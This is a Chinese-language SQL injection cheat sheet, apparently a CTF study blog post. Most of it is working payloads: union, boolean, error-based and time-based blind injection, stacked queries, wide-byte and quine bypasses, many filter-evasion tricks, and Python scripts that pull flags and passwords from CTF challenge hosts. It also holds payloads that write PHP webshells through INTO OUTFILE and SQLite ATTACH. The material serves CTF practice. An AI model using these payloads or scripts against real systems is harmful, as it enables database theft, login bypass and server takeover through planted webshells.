SQL注入 常见带 prepare (?填充)预编译的代码不存在 SQL 注入。
1 2 $stmt = $conn ->prepare ("SELECT * FROM users WHERE Username = ?;" );$stmt ->bind_param ("s" , $_POST ['username' ]);
常用 Trick 联合查询 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--qwq ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--qwq ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--qwq ?id=-1' union select 1,username,password from users where id=2--qwq SHOW DATABASES; SHOW TABLES; SHOW COLUMNS FROM users; select database(); select schema();
布尔盲注 就是在条件后面加一个 and,然后如果两个条件都满足返回正常,其他返回异常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsurl = "http://947e0e56-2959-4cde-9cd7-e6f58efbee74.node5.buuoj.cn:81/SUPPERAPI.php?id=" flag = '' for i in range (1 , 200 ): print ("------------------" + str (i) + "------------------" ) low = 32 high = 128 mid = (low + high) // 2 while low < high: payload = "2 and ascii(substr((select group_concat(password) from users),{},1))>{}" .format (i, mid) r = requests.get(url + payload) if "flag" in r.text: low = mid + 1 else : high = mid mid = (low + high) if mid == 32 or mid == 127 : break flag += chr (mid) print (flag)
1 2 3 4 select * from users group by 1 having substr((select database()),1 ,1 )= 'c' #group by 1 按照第一列的列名分组 #当 sql_mode= only_full_group_by,select 的东西不能有歧义,比如 username = "1" 时候,password 可能 = "1234" 也可能 = "5678",这个就不可以,同样后面 having 的东西是不能产生歧义的,不过可以使用类似于sum,avg的复合查询
报错注入 updatexml/extractvalue
简单来说就是在此函数中套一个不可以被引入的字符,从而报错,在子查询中得到结果。
1 2 updatexml(1,concat(0x7e,(select database()),0x7e),1) extractvalue(1,concat(0x7e,(select database())))
sqlite:json_extract
1 json_extract(json_object(),jsonpath) --这里jsonpath就是报错点
时间盲注 1 2 3 4 5 6 and if((select substr(username,1 ,1 ) from user where id = 1 )= 'a' ,sleep(3 ),1 )# if(条件,true 执行,false 执行) update users set username = '0' | if((substr(user (),1 ,1 ) regexp 0x5e5b6d2d7a5d ), sleep(5 ), 1 ) where id= 15 ;insert into users values (16 ,'K0rz3n' ,'0' | if((substr(user (),1 ,1 ) regexp 0x5e5b6d2d7a5d ), sleep(5 ), 1 ));
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsurl = 'xxx' res = "" for i in range (1 , 48 , 1 ): for j in range (32 , 128 , 1 ): payload = f"if(ascii(substr((select(flag)from(flag)),{i} ,1))>{j} ,sleep(1),0)" data = { 'id' : payload } try : r = requests.post(url=url, data=data,timeout=0.5 ) except Exception as e: continue res += chr (j) print (res) break
当 select 禁用下的时间盲注:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsimport stringsqlstr = string.ascii_lowercase + string.digits + '-' + "{}" url = "http://gz.imxbt.cn:20469//?sql=delete from flag where data like '" end = "%' and sleep(5)" flag = '' for i in range (1 , 100 ): for c in sqlstr: payload = url + flag + c + end try : r = requests.get(payload, timeout=4 ) except : print (flag + c) flag += c break
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport timeurl = 'http://challenge.basectf.fun:47649' flag = '' strings = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-{}' for i in range (1 , 100 ): for char in strings: payload="UPDATE flag SET id = 'fffffilm' WHERE data REGEXP '^Basectf' AND IF(data REGEXP '^{}',sleep(1), 1)" .format ((flag+char)) params={ "sql" :payload } print (payload) time.sleep(0.05 ) start_time = time.time() rs = requests.get(url,params=params) end_time = time.time() if end_time - start_time > 1 : flag += char print (flag) break elif len (flag)>44 : print (flag[:1 ]+flag[1 :4 ].lower()+flag[4 :7 ]+flag[7 :].lower()) exit()
延时函数:
sleep(5000)
benchmark(6000000, md5('test')):执行 600000 次 md5。
笛卡尔积
万能md5 1 $sql = "SELECT * FROM admin WHERE username = 'admin' AND password = '".md5($password,true)."'";
当 password = ffifdyop 且要求转成十六进制时,而 SQL 默认十六进制会解析成字符串。
堆叠注入 & 预处理 分号执行多条 SQL 语句。
如果可以堆叠,大家应该首先考虑 存储过程 set @a=b;
存储过程 类似与 shell的函数 可以自定义函数。
1 2 3 -1; set @sql = concat('sel','ect * from`1919810931114514`;'); prepare a from @sql;EXECUTE a;#
表名如果是数字,需要用反引号引起来。
1 2 3 4 5 6 7 set @sql = "select 'qwq'"; PREPARE a from @sql; EXECUTE a; set @sql = 0x73656c656374202771777127; PREPARE a from @sql; EXECUTE a;
1 2 3 4 5 6 7 8 9 10 11 12 13 -- 准备语句 prepare stmt from 'SELECT * FROM users WHERE id=?'; -- 设置参数并执行 set @id=1; execute stmt using @id; -- 再次使用不同参数 set @id=2; execute stmt using @id; -- 释放预处理语句 deallocate prepare stmt;
读写文件 1 2 3 select xx into outfile "/var/www/html/webshell.php" select load_file(Path) ?id=1 into outfile '/var/www/html/webshell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
Sqlite写shell
1 ');ATTACH DATABASE '/var/www/html/f12.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval($_POST[1]);phpinfo();?>'); commit;--+
二次注入 注册账号admin'#,登录修改密码时 闭合 update password = 'pass' where username = 'admin'#'。
宽字节注入 在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
1 character_set_connect='gbk'
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
在PHP中对单引号%27进行转义,在前边加一个反斜杠\,变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
payload:
1 1 % df'%20union%20select%201%2Cdatabase()%23
Quine 从三道赛题再谈Quine trick-安全KER - 安全资讯平台
Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中。
Description:
1 2 3 4 5 6 $sql ="SELECT password FROM users WHERE username='admin' and password='$password ';" ;$user_result =mysqli_query ($con ,$sql );$row = mysqli_fetch_array ($user_result );if ($row ['password' ] === $password ) { die ($FLAG );
exp1:
1 SELECT REPLACE('SELECT REPLACE(".",CHAR(46),".")' ,CHAR (46 ),'SELECT REPLACE(".",CHAR(46),".")' );
观察这个语句和它执行的结果,稍微分析得出以下:
1 SELECT REPLACE("REPLACE(".",CHAR(46),".")",CHAR (46 ),"SELECT REPLACE(".",CHAR(46),".")")
可以发现原语句基本相同,但单双引号不同,这是由于原语句 varchar 中已经有了双引号,只能用单引号包裹,我们假如把原语句的单引号略作替代。
1 2 3 SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")' ,CHAR (34 ),CHAR (39 )),CHAR (46 ),'SELECT REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")' )SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE(".",0x22,0x27),0x2E,".")' ,0x22 ,0x27 ),0x2E ,'SELECT REPLACE(REPLACE(".",0x22,0x27),0x2E,".")' );
这样执行后就彻底相同了。
exp2:
1 '/**/union/**/SELECT/**/REPLACE(REPLACE(' "/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"union SELECT REPLACE(REPLACE(".",CHAR (34 ),CHAR (39 )),CHAR (46 ),".")AS ch3ns1r#')/**/AS/**/ch3ns1r#
exp3:
1 password= 1 'UNION(SELECT(REPLACE(REPLACE(' 1 "UNION(SELECT(REPLACE(REPLACE("% ",CHAR(34),CHAR(39)),CHAR(37),"% ")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION (SELECT (REPLACE(REPLACE("%",CHAR (34 ),CHAR (39 )),CHAR (37 ),"%")))#')))#
内联注释绕过 当一些关键语句被过滤时,内联注释就是把一些特有的仅在 mysql 上的语句放在 /*! */中,这样这些语句如果在其它数据库中是不会被执行,但在 mysql 中会执行。
如果在 ! 后面添加版本号,则仅当MySQL版本大于或者等于指定的版本号时,才会执行注释中的语法。
1 2 * FROM `user ` #mysql版本> 5 才执行 * FROM `user `
bypass 关键词被过滤 select 被过滤 1 2 3 4 5 6 7 8 9 10 11 HANDLER user OPEN ; HANDLER user READ FIRST ; HANDLER user READ NEXT;#(第一行没读的时候next读的也是第一行) HANDLER user CLOSE ;
or / and 等逻辑连接词被过滤 1 2 3 4 5 6 7 8 9 10 11 12 and && or || xor ^ ^ select * from user where username = '\' and password = '^0; # 适用于 username 是 varchar select * from user where username = 1=(0) select * from user where username = 1^(1); select * from user # 当 ' \' and password = ' ^ 0 时候 前面的字符串和后面的数字计算,从头开始找数字直到找到字母为止当作数字,比如#"12345a"+ 1 = 12346 #对于本例相当于 0 ^ 0 = 0 而 username 非数字开头的都转成了 0 ,相当于 所有的 username 都满足
union 被过滤 布尔盲注或时间盲注:
1 2 'and (select pass from user limit 1)=' xxx'and if((select pass from user)=1,sleep(8),1) #
where 被过滤 1 select * from user u1 inner join user u2 on u1.username = u2.username and u1.username = "a"
if 被过滤 1 if(condition ) <=> case when condition then 1 else 0 end
常见关键词/函数互转 1 2 3 4 5 6 7 8 9 10 11 12 13 14 select ascii("1");select ord("1");select char (49 );SELECT * FROM Users WHERE username = 0x61646D696E SELECT * FROM Users WHERE username = CHAR (97 , 100 , 109 , 105 , 110 )select mid("1234",2 ,3 );select SUBSTR("1234",2 ,3 );select substring ("1234",2 ,3 );substr((select database())from 1 for 1 ) left <=> right order by <=> group by
空格被过滤
1 select username from user where token = "1"or ~ ~ 1 = 1 ;
%09, %0a, %0b, %0c, %0d, %a0等部分不可见字符可也代替空格
引号被过滤 1 2 SELECT * FROM Users WHERE username = 0x61646D696E SELECT * FROM Users WHERE username = CHAR (97 , 100 , 109 , 105 , 110 )
逗号被过滤
1 select * from ((select username from user )a join (select password from user )b)
1 select SUBSTR("12345"from 1 for 2 )
等号被过滤
like
用 regexp 或者 in
1 2 where username in ('admin' )where username like 'adm%'
<>
分号被过滤
换行 %0a
改变结束符(默认是分号)
1 delimiter ddd #改变结束符为ddd
数字被过滤
用 True 代替
代替字符
数
代替字符
数
代替字符
数
数
代替字符
false、!pi()
0
ceil(pi()*pi())
10
A
ceil((pi()+pi())*pi())
20
K
true、!(!pi())
1
ceil(pi()*pi())+true
11
B
ceil(ceil(pi())*version())
21
L
true+true
2
ceil(pi()+pi()+version())
12
C
ceil(pi()*ceil(pi()+pi()))
22
M
floor(pi())、~~pi()
3
floor(pi()*pi()+pi())
13
D
ceil((pi()+ceil(pi()))*pi())
23
N
ceil(pi())
4
ceil(pi()*pi()+pi())
14
E
ceil(pi())*ceil(version())
24
O
floor(version()) //注意版本
5
ceil(pi()*pi()+version())
15
F
floor(pi()*(version()+pi()))
25
P
ceil(version())
6
floor(pi()*version())
16
G
floor(version()*version())
26
Q
ceil(pi()+pi())
7
ceil(pi()*version())
17
H
ceil(version()*version())
27
R
floor(version()+pi())
8
ceil(pi()*version())+true
18
I
ceil(pi()*pi()*pi()-pi())
28
S
floor(pi()*pi())
9
floor((pi()+pi())*pi())
19
J
floor(pi()*pi()*floor(pi()))
29
T
杂项
1 2 3 4 5 6 7 % 表示零个或多个字符的任意字符串 _(下划线)表示任何单个字符 [ ] 表示指定范围 ([a-f]) 或集合 ([abcdef]) 中的任何单个字符 [^] 不属于指定范围 ([a-f]) 或集合 ([abcdef]) 的任何单个字符 * 它同于DOS命令中的通配符,只不过代表多个字符 ?同于DOS命令中的?通配符,只代表单个字符 # 大致同上,不同的是只能代表单个数字
MySQL中使用system关键字或者\!可以执行系统命令
一些例题 强网杯 2019随便注 随便找到 WAF:
1 return preg_match ("/select|update|delete|drop|insert|where|\./i" ,$inject );
然后发现可以堆叠,
1 2 3 4 5 -1';show tables; -1';set @sql = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE a from @sql;EXECUTE a; 十六进制下的 select * from `1919810931114514`
[极客大挑战 2019]HardSQL 发现有海量的 waf,光空格 /**/ 都无法绕过,只能括号绕过空格了。
1 2 3 4 5 1'or(updatexml(1,concat(0x7e,database()),1));%23 1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%3b%23 1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%3b%23 http://91054af8-002e-4a5d-8d28-8bdc717e94a2.node5.buuoj.cn:81/check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1))),1))%3b%23 http://91054af8-002e-4a5d-8d28-8bdc717e94a2.node5.buuoj.cn:81/check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(left(password,20)))from(H4rDsq1))),1))%3b%23
[SWPUCTF 2021 新生赛]easy_sql 过滤了空格,等号,还有一些常见的 substr。
1 2 3 ?wllm=1'order/**/by/**/3%23 -1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23 ?wllm=-1'union/**/select/**/1,2,mid(flag,1,20)/**/from/**/LTLT_flag%23
[NSSCTF] 时间盲注 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import timeimport requestsurl = 'http://node4.anna.nssctf.cn:28122/' success_mark = "OK" def dataBaseName (): str = "" j = 1 while j < 50 : flag = 0 for i in range (1 ,128 ): new_url = url + "?id=1 and if(ascii(substr(database(),{},1))={},sleep(3),1) --+" .format ( j, i) start_time = time.time() r = requests.get(new_url) end_time = time.time() if (success_mark in r.text) and (end_time - start_time >= 3 ): str = str + chr (i) print (str ) flag = 1 break if flag == 0 : print (f'database_name:{str } ' ) break j = j + 1 return str def Tablename (): str = "" j = 1 while j < 50 : flag = 0 for i in range (1 ,128 ): new_url = url + "?id=1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='test'),{},1))={},sleep(3),1) --+" .format ( j, i) start_time = time.time() r = requests.get(new_url) end_time = time.time() if (success_mark in r.text) and (end_time - start_time >= 3 ): str = str + chr (i) print (str ) flag = 1 break if flag == 0 : print (f'table_names:{str } ' ) break j = j + 1 return str def columns (): str = "" j = 1 while j < 50 : flag = 0 for i in range (1 ,128 ): new_url = url + "?id=1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_table'),{},1))={},sleep(1),1) --+" .format ( j, i) start_time = time.time() r = requests.get(new_url) end_time = time.time() if (success_mark in r.text) and (end_time - start_time >= 1 ): str = str + chr (i) print (str ) flag = 1 break if flag == 0 : print (f'columns:{str } ' ) break j = j + 1 return str def details (): str = "" j = 1 while j < 50 : flag = 0 for i in range (1 ,128 ): new_url = url + "?id=1 and if(ascii(substr((select group_concat(i_am_f1ag_column) from f1ag_table),{},1))={},sleep(1),1) --+" .format ( j, i) start_time = time.time() r = requests.get(new_url) end_time = time.time() if (success_mark in r.text) and (end_time - start_time >= 1 ): str = str + chr (i) print (str ) flag = 1 break if flag == 0 : print (f'details:{str } ' ) break j = j + 1 return str if (__name__ == "__main__" ): details()